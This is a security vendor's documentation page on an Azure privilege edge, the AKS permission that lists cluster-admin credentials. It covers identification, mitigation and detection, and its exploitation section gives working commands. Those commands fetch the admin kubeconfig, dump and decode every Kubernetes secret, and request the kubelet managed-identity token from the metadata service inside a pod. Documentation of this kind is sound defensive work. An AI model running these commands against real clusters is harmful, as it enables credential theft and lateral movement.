> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_list_cluster_admin_credentials.md).

# AZ\_LIST\_CLUSTER\_ADMIN\_CREDENTIALS

## Summary

|                            |                                                                                                                                                                          |
| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Forestall ACL Alias**    | AZ\_LIST\_CLUSTER\_ADMIN\_CREDENTIALS                                                                                                                                    |
| **Azure Alias**            | AKS List Cluster Admin Credentials                                                                                                                                       |
| **Affected Object Types**  | Managed Kubernetes Clusters (AKS)                                                                                                                                        |
| **Exploitation Certainty** | Certain                                                                                                                                                                  |
| **Severity**               | Critical                                                                                                                                                                 |
| **Azure RBAC Roles**       | Azure Kubernetes Service Cluster Admin Role (`0ab0b1a8-8aac-4efd-b8c2-3ee1fb270be8`), Azure Kubernetes Service Contributor Role (`ed7f3fbd-7b88-4dd4-9017-9adb7ce333f8`) |

**Custom Role Actions:**

* `Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action`

## Description

This edge allows retrieving the **cluster-admin kubeconfig** for an AKS cluster. The returned kubeconfig grants full cluster-admin privileges, bypassing any Microsoft Entra / Kubernetes RBAC integration.

With cluster-admin access an attacker can:

* **Read all Kubernetes secrets** (credentials, tokens, connection strings)
* **Deploy or modify workloads** to run arbitrary code
* **Access the cluster's managed identity** for lateral movement
* **Pivot to internal resources** reachable from the cluster network

> **Note:** When local accounts are disabled (`--disable-local-accounts`), this action is blocked.

Related edges: [**AZ\_AKS\_CONTRIBUTOR**](https://docs.forestall.io/fsprotect/edges/azure/az_aks_contributor) | [**AZ\_EXECUTE\_COMMAND**](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command)

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

$adminCredRoles = @(
    "Azure Kubernetes Service Cluster Admin Role",
    "Azure Kubernetes Service Contributor Role"
)

Get-AzRoleAssignment |
    Where-Object { $adminCredRoles -contains $_.RoleDefinitionName } |
    Select-Object DisplayName, SignInName, RoleDefinitionName, Scope |
    Format-Table -AutoSize

# Check assignments on a specific cluster
Get-AzRoleAssignment -Scope "/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerService/managedClusters/<ClusterName>" |
    Select-Object DisplayName, RoleDefinitionName, ObjectType |
    Format-Table -AutoSize
```

### Azure Portal

1. Navigate to the AKS cluster -> **Access control (IAM)** -> **Role assignments**.
2. **Azure Kubernetes Service Cluster Admin Role**, or **Azure Kubernetes Service Contributor Role**.
3. Under **Settings** -> **Cluster configuration**, verify if **Local accounts** are enabled.

## Exploitation

### Retrieve the cluster-admin kubeconfig

```bash
az aks get-credentials --resource-group "<RGName>" --name "<ClusterName>" --admin

kubectl get nodes
```

![Dump kubeconfig and list nodes](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-7e19995dd065b61c7d4b6465ae8fb69e17087039%2Fazure-az_list_cluster_admin_credentials-az_dump_kube_config_list_nodes.png?alt=media)

### Dump Kubernetes secrets

```bash
kubectl get secrets --all-namespaces

kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.data}' | base64 -d
```

![kubectl get all secrets](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-0963d35b632afaa7c836e571c0787d2ea10ec20d%2Fazure-az_list_cluster_admin_credentials-kubectl_get_all_secrets.png?alt=media)

### Steal the node managed identity token

Pods run on VMSS worker nodes. Each node has a **kubelet managed identity** accessible via IMDS (`169.254.169.254`). By default, all nodes share the same identity.

**Step 1 - Get the kubelet identity client ID:**

```bash
az aks show --resource-group "<RGName>" --name "<ClusterName>" \
    --query "identityProfile.kubeletidentity.clientId" -o tsv
```

![Get AKS client ID](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-5c332a0d002fbfe040ef194b562b5ee20e091fa5%2Fazure-az_list_cluster_admin_credentials-az_get_aks_client_id.png?alt=media)

**Step 2 - Request token from inside a pod:**

```bash
kubectl run azure-cli --image=mcr.microsoft.com/azure-cli --restart=Never --command -- sleep infinity

kubectl exec -it azure-cli -- curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=<KUBELET_CLIENT_ID>"
```

![Get managed identity token](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-eae6a6e30b87c64a83064ce23c0cbbe2dabde90c%2Fazure-az_list_cluster_admin_credentials-kubectl_get_the_managed_identity_token.png?alt=media)

## Mitigation

1. **Disable local accounts** - Set `--disable-local-accounts` to block `listClusterAdminCredential` entirely.
2. **Restrict role assignments** - Limit **Cluster Admin Role** assignments; use **Cluster User Role** for day-to-day access.
3. **Scope to cluster level** - Avoid subscription or resource group scope when cluster scope suffices.
4. **Enable Microsoft Entra Kubernetes RBAC** - Enforce least privilege within the cluster.

## Detection

Use the Azure Portal and Microsoft Entra admin center:

1. Open **Azure Portal** -> target **AKS cluster**.
2. Open **Activity log** and filter **Operation** for `listClusterAdminCredential`.
3. Review **Caller**, **IP address**, **Timestamp**, **Resource**, and **Status** for unexpected credential retrieval.
4. Open **Microsoft Entra admin center** -> **Identity** -> **Monitoring & health** -> **Sign-in logs** and review sign-ins related to the identity that retrieved the cluster admin credentials.

## References

* [Azure Kubernetes Service Cluster Admin Role](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#azure-kubernetes-service-cluster-admin-role)
* [Manage local accounts on AKS](https://learn.microsoft.com/en-us/azure/aks/manage-local-accounts-managed-azure-ad)
* [az aks get-credentials](https://learn.microsoft.com/en-us/cli/azure/aks#az-aks-get-credentials)
* [Azure Threat Research Matrix - AZT301-3](https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-3/)
